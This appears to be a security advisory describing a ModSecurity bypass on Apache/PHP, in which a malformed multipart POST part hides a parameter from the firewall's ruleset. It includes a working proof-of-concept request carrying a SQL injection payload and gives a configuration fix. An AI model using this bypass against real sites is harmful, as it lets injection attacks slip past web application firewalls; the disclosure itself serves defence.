ModSecurity multipart/invalid part ruleset bypass

ModSecurity for Apache is a web server plug-in for the Apache web server platform. This is the original, most mature and deployed ModSecurity module. This module is maintained by the Trustwave SpiderLabs Research Team. URL: Vulnerability overview/description: ----------------------------------- Validation of POST parameters can be bypassed on Apache/PHP installations by sending specially formed multipart requests. A POST parameter's content can be hidden from ModSecurity by prepending an invalid part. This first part contains only a Content-Disposition header and has an additional carriage return inserted at the end of the line ([\r\r\n]). This is followed by a boundary in the next line and another Content-Disposition header with a filename. The request content looks like this (newlines are all \r\n except in line 2). --A Content-Disposition: form-data; name="id"[\r][\r][\n] --A Content-Disposition: form-data; name="lol"; filename="x" 1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- --A-- ModSecurity skips what it believes to be an invalid first part and proceeds to parse the second part. This part is treated as a file and not checked against the ruleset. PHP however treats the whole thing as a single part and processes only the first Content-Disposition header, ignoring the second one. In the opinion of PHP this request contains a POST parameter with the name specified in the first header. Proof of concept: ----------------- wut.php: -------- <? echo $POST[xxx] ?> POST request: ------------- POST /wut.php HTTP/1.1 Content-Type: multipart/form-data; boundary=A Content-Length: 161 --A Content-Disposition: form-data; name="xxx"[\r][\r][\n] --A Content-Disposition: form-data; name="yyy"; filename="z" 1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- --A-- Output: ------- 1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- (any change in the header should produce a 403) Solution: --------- To mitigate this bypass method, upgrade to ModSecurity 2.7.0 and make sure that the MULTIPART_INVALID_PART flag is set in the multipart strict validation rule. Add the line: IQ %{MULTIPART_INVALID_PART}, \ to the SecRule MULTIPART_STRICT_ERROR in your ModSecurity configuration file. Download is available at: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ And this thing here: